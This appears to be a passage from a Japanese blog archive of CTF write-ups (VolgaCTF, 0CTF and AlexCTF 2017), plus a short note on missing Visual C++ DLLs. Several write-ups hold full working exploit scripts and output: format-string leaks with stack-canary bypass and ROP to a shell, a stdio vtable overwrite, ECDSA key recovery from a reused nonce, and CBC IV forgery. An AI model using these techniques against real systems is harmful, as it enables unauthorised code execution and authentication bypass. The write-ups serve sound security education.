Taken from: https://whitehatjourney.wordpress.com/2015/08/12/many-time-

Telemap (web/exploits 200)

Botが乗っとられてしまったことにより、無効問題になった。

Regarding Telemap task

Tonight it turned out that task bot token was compromised. As a result, bot was taken over by an unknown individual.
We have decided to shut down the bot but we will not close the task.
Some teams managed to solve the task before this had happened and got their points.
To equalise other teams, we have given you the flag (in hints) so that you can submit it and get points too.
This decision is final. We sincerely apologise for this situation.

Updated on Mar 25, 2017 7:55 AM  
VolgaCTF{jUe33I9@8#dDie#!kdEPz}

Time Is (exploits 150)

ELF 64-bit、NX有効。

$ file time_is
time_is: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=34df22604978c4e32938d8692607a5c84e84e681, stripped

$ bash checksec.sh --file time_is
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   time_is

Format string bugとスタックバッファオーバーフロー脆弱性がある。

$ ./time_is
Enter time zones separated by whitespace or q to quit
%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|AAAABBBB
AAAABBBB0x3.0x66666667.0xa3d70a3d70a3d70b.0x2ce33e6c02ce33e7|0xe40.0x7f154d3974a0.0x3b7d2114.0x985010|0x78.0x58d5f356.0x4242424241414141.0x70252e70252e7025|: 04:34
Enter time zones separated by whitespace or q to quit
AAAABBBB%11$p
*** invalid %N$ use detected ***
Aborted (core dumped)

$ (perl -e 'print "A"x0x900 . "\n"'; cat) | ./time_is
Enter time zones separated by whitespace or q to quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: 06:27
9
@Enter time zones separated by whitespace or q to quit
q
See you!
*** stack smashing detected ***: ./time_is terminated

Aborted (core dumped)

入力文字列に8バイトの時刻文字列が連結されることに注意しつつ、libc leak、canary leak、ROPを行いシェルを起動する。 また、リモートでleakしたlibcのオフセットが手元にあるUbuntu 16.04.2 LTSの最新版glibcと一致したため、そのまま解くことができた。

from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

# s = connect_process(['./time_is'])

s = socket.create_connection(('time-is.quals.2017.volgactf.ru', 45678))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

recvuntil(s, 'quit\n')

# leak got_libc_start
got_libc_start = 0x603028

buf = '%p.' * 17 + '%s.' + '%p'
buf += p64(got_libc_start)

sendline(s, buf)
data = recvline(s)
data = data.split('.')[17]
addr_libc_start = u64(data.ljust(8, '\x00'))
print "[+] addr_libc_start = %x" % addr_libc_start

"""
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep libc_start_main
0000000000020740 T __libc_start_main

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000045390 T __libc_system
0000000000137c20 T svcerr_systemerr
0000000000045390 W system

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh
"""

addr_system = addr_libc_start - 0x0000000000020740 + 0x0000000000045390
addr_binsh = addr_libc_start - 0x0000000000020740 + 0x18c177

# leak canary
buf = 'A' * 0x801

sendline(s, buf)
recvline(s)
data = recvline(s)
canary = '\x00' + data[:7]
print "[+] canary = %r" % canary

# rop
addr_pop_rdi = 0x400b34

buf = 'A' * 0x808 + canary + 'A' * 0x38
buf += p64(addr_pop_rdi) + p64(addr_binsh) + p64(addr_system)

sendline(s, buf)
recvline(s)

# quit
sendline(s, 'q')

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='d7e5d131c8f69d397e824960'

[+] sha1('d7e5d131c8f69d397e824960\x00\x00\xf1*\x7f') = 6a078e3e4ce7e5cb1fcbbf6bffc39b2ee3ffffff
[+] addr_libc_start = 7f7f6d687740
[+] canary = '\x00\xd3\x86\xd8yy\xef2'
See you!
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls
flag.txt
time_is
cat flag.txt
VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}

Angry Guessing Game (reverse 200)

ELF 64-bit。

$ file guessing_game
guessing_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=40d776f25ac166209af1980da87343aa1cc3e445, stripped

ディスアセンブル結果をしばらく眺めていると、一文字ずつフラグを組み立てていると思しき関数が見つかった。

f:id:inaz2:20170327002921p:plain

実際これがフラグだった。

VolgaCTF{eb675eb79eb095a095c1e64709407bc6}

Curved (crypto 200)

ECDSA署名。 問題文から、"cat flag" に対応する適切な署名を作る問題であることが推測できる。

“exit” と “leave” に対する署名 (r, s) がそれぞれ与えられているが、rが共通となっている。 したがって、通常のDSA同様に秘密鍵が逆算できる。

与えられたスクリプトを流用することでも計算できると思われるが、Pari/GPを使って計算した。

\\ curve
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
n = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
E = ellinit([a, b] * Mod(1, p))

Gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
Gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
G = [Gx, Gy]

\\ public key
QAx = 30250504889670926190523552041919585443829720544703724701649460613907050136658064509869867235332877475236603550112886
QAy = 10038053482213417689486839474228780499939202868344229289980977269014292942786826488866304498064504119374610238834648
QA = [QAx, QAy]

\\ signature of 'exit'
e1 = 10180943929472204041376359597227574108469221349104554484573736460602805890485877117432685835780787710291076463187571088306141436105029609403872488695821097
r1 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s1 = 34855921360927916070986212109819500225655651650874609025244135362773790814285754503375195745383314214044123943832259
\\ signature of 'leave'
e2 = 12195398262660441438176209028967466030981898250410793562737239825421543239341285267808310332478026241214888216083918256032431837893434411748441618036707814
r2 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s2 = 30319268030018639511551117879575625408953110962874264740912972950968883326846458408981004916433253051594118273327537

\\ calculate private key
Ln = 384
z1 = e1 >> (512 - Ln)
z2 = e2 >> (512 - Ln)

ds = Mod(s1-s2, n)
k = (z1-z2)/ds
dA = (s1*k-z1)/r1
dA = lift(dA)
print(dA)

QA_test = ellpow(E, G, dA)
print(QA == QA_test)

\\ sign 'cat flag'
e = 2534251488141321329485028256574528297332728342399684946592676206483227962138949081371581055249315498122105667347735231458012198223021772614828139070448869
z = e >> (512 - Ln)

k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * dA)/k, n)
S = lift([r, s])
print(S)

\\ verify 'cat flag'
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, QA, u2))
print(r == lift(X[1]))

\q
$ gp -q test.gp
9079245250607033272177745139721911545885939364888227106759574289984237078900316288233842237557724127871411302115933
1
[39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623, 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027]
1
from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

s = socket.create_connection(('curved.quals.2017.volgactf.ru', 8786))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

print recvuntil(s, ':\r\n')
message = '39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027 cat flag'
sendline(s, message)

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='270a6f5df35e8e9a48af0efc'

[+] sha1('270a6f5df35e8e9a48af0efc\x00\x0fM\x83\x97') = e60627df5b89372b16f2b4a8c50978a33fffffff
Enter your command:

VolgaCTF{N0nce_1s_me@nt_to_be_used_0n1y_Once}
Enter your command:

KeyPass (reverse 100)

パスフレーズから鍵を生成するプログラムとAES-128-CBCで暗号化されたzipがある。 前者のアセンブリコードを読むと、パスフレーズの各文字のXORを取った値をseedとしてパスフレーズを生成していることがわかる。

  4004c3:       48 8b 56 08             mov    rdx,QWORD PTR [rsi+0x8]
  ...
  4004dd:       31 d2                   xor    edx,edx
  4004df:       eb 12                   jmp    4004f3 <__libc_start_main@plt+0x73>
  4004e1:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
loc_4004e8:
  4004e8:       48 0f be 07             movsx  rax,BYTE PTR [rdi]
  4004ec:       48 83 c7 01             add    rdi,0x1
  4004f0:       48 31 c2                xor    rdx,rax
loc_4004f3:
  4004f3:       48 39 cf                cmp    rdi,rcx
  4004f6:       75 f0                   jne    4004e8 <__libc_start_main@plt+0x68>  ; backward jump

seedは実質1バイトなので、取り得るパスフレーズの数は256通りとなり総当たりができる。 ただし、ヒントにOpenSSL 1.1.0eであることが書かれており、このバージョンを用意する必要がある。

$ wget https://www.openssl.org/source/openssl-1.1.0e.tar.gz
$ tar xvf openssl-1.1.0e.tar.gz
$ cd openssl-1.1.0e
$ ./config
$ make -j3
$ make test
$ cd ..
$ LD_PRELOAD="./openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so" ./openssl-1.1.0e/apps/openssl version
OpenSSL 1.1.0e  16 Feb 2017
from subprocess import Popen, PIPE

for i in xrange(256):
    s = chr(i)
    try:
        p = Popen(['./keypass', s], stdout=PIPE)
        key = p.stdout.read().rstrip()
        p.wait()
    except TypeError:
        continue

    p = Popen(['./openssl-1.1.0e/apps/openssl', 'enc', '-d', '-aes-128-cbc', '-k', key, '-in', 'flag.zip.enc'], env={'LD_PRELOAD': './openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so'}, stdout=PIPE, stderr=PIPE)
    result = p.stdout.read()
    p.wait()
    if p.returncode == 0:
        print "[+] key = %r" % key
        with open('flag.zip', 'wb') as f:
            f.write(result)
        break
$ python test.py
[+] key = '\\M)R<.DDe/:;d>JZP'

$ unzip flag.zip
Archive:  flag.zip
 extracting: flag.txt

$ cat flag.txt
VolgaCTF{L0ve_a11_trust_@_few_d0_not_reinvent_the_wh33l}

Bloody Feedback (web 100)

メッセージが送れる掲示板。 メール入力欄にSQL injection脆弱性がある。

<input class="form-control input-normal" id="InputEmail" name="email" placeholder="Email" disabled="disabled" type="email">
VolgaCTF{eiU7UJhyeu@ud3*}

所感

他に解きたかった問題は以下。

  • Share Point (web 200)
  • Corp News (web 300)
  • Not so honest (exploits 350)
  • Nested (forensics 200)

131チームが解けていたShare Pointを解けなかったのが残念。

MSVCR???.dllやMSVCP???.dllが見つからないときの対処法

Windowsアプリケーションを実行する際、まれに次のようなエラーメッセージが表示されて起動できないことがある。

コンピューターに MSVCR120.dll がないため、プログラムを開始できません。この問題を解決するには、プログラムを再インストールしてください。

MSVCR120.dllの部分は、MSVCP140.dllなど微妙に異なる場合もある。 エラーメッセージに従い再インストールすればよいように思われるが、それでも解決しないことがある。

これは、配布されたアプリケーションが「Visual C++ 再頒布可能パッケージ」を同梱していないか、同梱されたバージョンが一致していないことが原因で起こる。 解決するには、Microsoftが配布している「Visual C++ 再頒布可能パッケージ」をインストールすればよい。

DLL名は「ライブラリ名+バージョン番号」に従って命名されているのだが、バージョン番号とVisual Studioの年がずれていてややこしい。

つまり、MSVCR120.dllであればVisual Studio 2013の再頒布可能パッケージ、MSVCR140.dllであればVisual Studio 2015の再頒布可能パッケージをインストールすればよい。

また、https://www.microsoft.com/以外でダウンロードできるものは、正規のDLLである保証がないため利用してはならない。

関連リンク

0CTF 2017 Quals 供養(Writeup)

0CTF 2017 Qualsに参加。237ptで119位。

Welcome (Misc 12)

IRCのチャンネルトピックにflagがある。

#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net  (flag{Welcome_to_0CTF_2017})

integrity (Crypto 75)

AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5(128 bit)になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。

from minipwn import *
import hashlib

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX'

s = socket.create_connection(('202.120.7.217', 8221))
print recvuntil(s, '[l]ogin\n')
sendline(s, 'r')
sendline(s, expanded)
print recvuntil(s, 'secret:\n')
secret_hex = recvline(s).rstrip()

secret = secret_hex.decode('hex')
iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:]

h1 = hashlib.md5(expanded[:-1]).digest()
h2 = hashlib.md5(pad(expanded)).digest()
h_xor = xor(h1, h2)

secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1
secret2_hex = secret2.encode('hex')

print recvuntil(s, '[l]ogin\n')
sendline(s, 'l')
sendline(s, secret2_hex)

interact(s)
$ python test.py
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin

Here is your secret:

Please [r]egister or [l]ogin

Welcome admin!
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

Please [r]egister or [l]ogin

EasiestPrintf (Pwnable 150)

任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。

$ bash checksec.sh --file EasiestPrintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   EasiestPrintf

bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。

$ gdb ./EasiestPrintf core
Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done.
[New LWP 5607]
Core was generated by `./EasiestPrintf'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xf76411bb in ?? () from /lib32/libc.so.6
(gdb) x/i $pc
=> 0xf76411bb:  call   DWORD PTR [ecx+0x1c]
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb) dps $esp
ff9ea650  0xf77add60 <_IO_2_1_stdout_>
ff9ea654  0xff9ea730 ' ' <repeats 200 times>...
ff9ea658  0x142
ff9ea65c  0xb
ff9ea660  0xff9ea7d0
ff9ea664  0xf76d1253 <write+35>
ff9ea668  0x142
ff9ea66c  0xf76654c1 <_IO_file_write+97>
ff9ea670  0x1
ff9ea674  0xff9ea7d0
ff9ea678  0xf7658580 <funlockfile>
ff9ea67c  0xf77add60 <_IO_2_1_stdout_>
ff9ea680  0x0
ff9ea684  0x0
ff9ea688  0xfbad8004
ff9ea68c  0xf77add60 <_IO_2_1_stdout_>

上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]が呼ばれることがわかる。 vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列shを書き込むことでシェルを起動できる。

from minipwn import *

#s = connect_process(['./EasiestPrintf'])
s = socket.create_connection(('202.120.7.210', 12321))

addr_stdout = 0x0804a044

print recvuntil(s, ':\n')
sendline(s, str(addr_stdout))
data = recvline(s)
libc_stdout = int(data, 16)
print "[+] libc_stdout = %x" % libc_stdout
libc_stdout_vtable = libc_stdout + 0x94
#libc_system = libc_stdout - 0x001b0d60 + 0x0003a940
libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0

str_sh = u32('sh\x00\x00')
x1 = libc_system
x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF
x2 = libc_stdout - 4 - 0x1c
x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF

print recvuntil(s, 'Good Bye\n')

# libc_stdout = 'sh\x00\x00'
# libc_stdout-4 = &system
# libc_stdout_vtable+0x1c = &(libc_stdout-4)
buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable)
buf += '%' + str(str_sh-16) + 'c%7$n'
buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn'
buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn'
buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn'

sendline(s, buf)

interact(s)
$ python test.py
Which address you wanna read:

[+] libc_stdout = f7737ac0
Good Bye
(snip)
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls -R home
home:
EasiestPrintf
java

home/EasiestPrintf:
EasiestPrintf
flag

home/java:
cat /home/EasiestPrintf/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}

所感

他に解きたかった問題は以下。

  • simplesqlin (Web 33)
  • oneTimePad (Crypto 114)
  • Temmo’s Tiny Shop (Web 122)
  • char (Pwnable 130)
  • KoG (Web 146)

AlexCTF 供養(Writeup)

AlexCTFに参加。990ptで259位。

TR1: Hello there (Trivia 10)

IRCのチャンネル名にフラグがある。

IRC: #alexctf @freenode

#alexctf: Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck}

TR2: SSL 0day (Trivia 20)

It lead to memory leakage between servers and clients rending large number of private keys accessible. (one word)

heartbleed

TR3: CA (Trivia 30)

What is the CA that issued Alexctf https certificate (flag is lowercase with no spaces)

letsencrypt

TR4: Doesn’t our logo look cool ? (Trivia 40)

トップページにあるアスキーアートのロゴの中にある。

$ grep -oP '[\w{}]' logo.txt | tr -d '\n'
ALEXCTF{0UR_L0G0_R0CKS}

RE1: Gifted (Reversing 50)

stringsするとフラグがある。

$ strings gifted
(snip)
Enter the flag:
AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
You got it right dude!
Try harder!
(snip)

RE2: C++ is awesome (Reversing 100)

特定のアドレスで動作を止めてメモリに入っているデータを見ると、文字列と数字の配列がある。

$ gdb --args ./re2 AAAA
Reading symbols from ./re2...(no debugging symbols found)...done.
(gdb) b *0x400c24
Breakpoint 1 at 0x400c24
(gdb) r
Starting program: /tmp/re2 AAAA
Breakpoint 1, 0x0000000000400c24 in ?? ()
1: x/i $pc
=> 0x400c24:    lea    rax,[rbp-0x50]
(gdb) x/80i $pc
=> 0x400c24:    lea    rax,[rbp-0x50]
   0x400c28:    mov    rdi,rax
   0x400c2b:    call   0x4009f0 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::end()@plt>
   0x400c30:    mov    QWORD PTR [rbp-0x20],rax
   0x400c34:    lea    rdx,[rbp-0x20]
   0x400c38:    lea    rax,[rbp-0x60]
   0x400c3c:    mov    rsi,rdx
   0x400c3f:    mov    rdi,rax
   0x400c42:    call   0x400d3d
   0x400c47:    test   al,al
   0x400c49:    je     0x400c95
   0x400c4b:    lea    rax,[rbp-0x60]
   0x400c4f:    mov    rdi,rax
   0x400c52:    call   0x400d9a
   0x400c57:    movzx  edx,BYTE PTR [rax]
   0x400c5a:    mov    rcx,QWORD PTR [rip+0x20143f]        # 0x6020a0
   0x400c61:    mov    eax,DWORD PTR [rbp-0x14]
   0x400c64:    cdqe
   0x400c66:    mov    eax,DWORD PTR [rax*4+0x6020c0]
   0x400c6d:    cdqe
   (snip)
(gdb) x/s {long}0x6020a0
0x400e58:       "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"
(gdb) x/80wx 0x6020c0
0x6020c0:       0x00000024      0x00000000      0x00000005      0x00000036
0x6020d0:       0x00000065      0x00000007      0x00000027      0x00000026
0x6020e0:       0x0000002d      0x00000001      0x00000003      0x00000000
0x6020f0:       0x0000000d      0x00000056      0x00000001      0x00000003
0x602100:       0x00000065      0x00000003      0x0000002d      0x00000016
0x602110:       0x00000002      0x00000015      0x00000003      0x00000065
0x602120:       0x00000000      0x00000029      0x00000044      0x00000044
0x602130:       0x00000001      0x00000044      0x0000002b      0x00000000
0x602140 <std::cout>:   0xf7dce988      0x00007fff      0xf7dce9b0      0x00007fff
(snip)
(gdb) q
A debugging session is active.

        Inferior 1 [process 11607] will be killed.

Quit anyway? (y or n) y

数字の配列の順で文字列から文字を取り出すとフラグが得られる。

msg = "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"

ary = [0x24, 0x0, 0x5, 0x36, 0x65, 0x7, 0x27, 0x26, 0x2d, 0x1, 0x3, 0x0, 0xd, 0x56, 0x1, 0x3, 0x65, 0x3, 0x2d, 0x16, 0x2, 0x15, 0x3, 0x65, 0x0, 0x29, 0x44, 0x44, 0x1, 0x44, 0x2b, 0x0]
s = ''
for i in ary:
    s += msg[i]
print s
$ python test.py
ALEXCTF{W3_L0v3_C_W1th_CL45535}L

RE4: unVM me (Reversing 250)

「HITCON CTF 2016 Quals 供養(Writeup)」で使ったshow_file.pyでディスアセンブルすると、5文字ごとに特定のmd5ハッシュ値と一致しているかを見ていることがわかる。

  2          12 LOAD_CONST               2 (174282896860968005525213562254350376167L)
             15 LOAD_CONST               3 (137092044126081477479435678296496849608L)
             18 LOAD_CONST               4 (126300127609096051658061491018211963916L)
             21 LOAD_CONST               5 (314989972419727999226545215739316729360L)
             24 LOAD_CONST               6 (256525866025901597224592941642385934114L)
             27 LOAD_CONST               7 (115141138810151571209618282728408211053L)
             30 LOAD_CONST               8 (8705973470942652577929336993839061582L)
             33 LOAD_CONST               9 (256697681645515528548061291580728800189L)
             36 LOAD_CONST              10 (39818552652170274340851144295913091599L)
             39 LOAD_CONST              11 (65313561977812018046200997898904313350L)
             42 LOAD_CONST              12 (230909080238053318105407334248228870753L)
             45 LOAD_CONST              13 (196125799557195268866757688147870815374L)
             48 LOAD_CONST              14 (74874145132345503095307276614727915885L)
             51 BUILD_LIST              13
             54 STORE_NAME               1 (md5s)
(snip)
 12     >>  144 SETUP_LOOP             112 (to 259)
            147 LOAD_NAME                6 (range)
            150 LOAD_CONST              20 (0)
            153 LOAD_NAME                4 (len)
            156 LOAD_NAME                3 (flag)
            159 CALL_FUNCTION            1
            162 LOAD_CONST              19 (5)
            165 CALL_FUNCTION            3
            168 GET_ITER
        >>  169 FOR_ITER                86 (to 258)
            172 STORE_NAME               7 (i)

 13         175 LOAD_NAME                3 (flag)
            178 LOAD_NAME                7 (i)
            181 LOAD_NAME                7 (i)
            184 LOAD_CONST              19 (5)
            187 BINARY_ADD
            188 SLICE+3
            189 STORE_NAME               8 (s)

 14         192 LOAD_NAME                9 (int)
            195 LOAD_CONST              21 ('0x')
            198 LOAD_NAME                0 (md5)
            201 LOAD_ATTR               10 (new)
            204 LOAD_NAME                8 (s)
            207 CALL_FUNCTION            1
            210 LOAD_ATTR               11 (hexdigest)
            213 CALL_FUNCTION            0
            216 BINARY_ADD
            217 LOAD_CONST              22 (16)
            220 CALL_FUNCTION            2
            223 LOAD_NAME                1 (md5s)
            226 LOAD_NAME                7 (i)
            229 LOAD_CONST              19 (5)
            232 BINARY_DIVIDE
            233 BINARY_SUBSCR
            234 COMPARE_OP               3 (!=)
            237 POP_JUMP_IF_FALSE      169

文字種をいろいろ変えながらブルートフォースすると元の文字列が求まる。

from itertools import product
from hashlib import md5

hashes = [
    (174282896860968005525213562254350376167L),  # md5('ALEXC')
    (137092044126081477479435678296496849608L),  # md5('TF{dv')
    (126300127609096051658061491018211963916L),  # md5('5d4s2')
    (314989972419727999226545215739316729360L),  # md5('vj8nk')
    (256525866025901597224592941642385934114L),  # md5('43s8d')
    (115141138810151571209618282728408211053L),  # md5('8l6m1')
    (8705973470942652577929336993839061582L),    # md5('n5l67')
    (256697681645515528548061291580728800189L),  # md5('ds9v4')
    (39818552652170274340851144295913091599L),   # md5('1n52n')
    (65313561977812018046200997898904313350L),   # md5('v37j4')
    (230909080238053318105407334248228870753L),  # md5('81h3d')
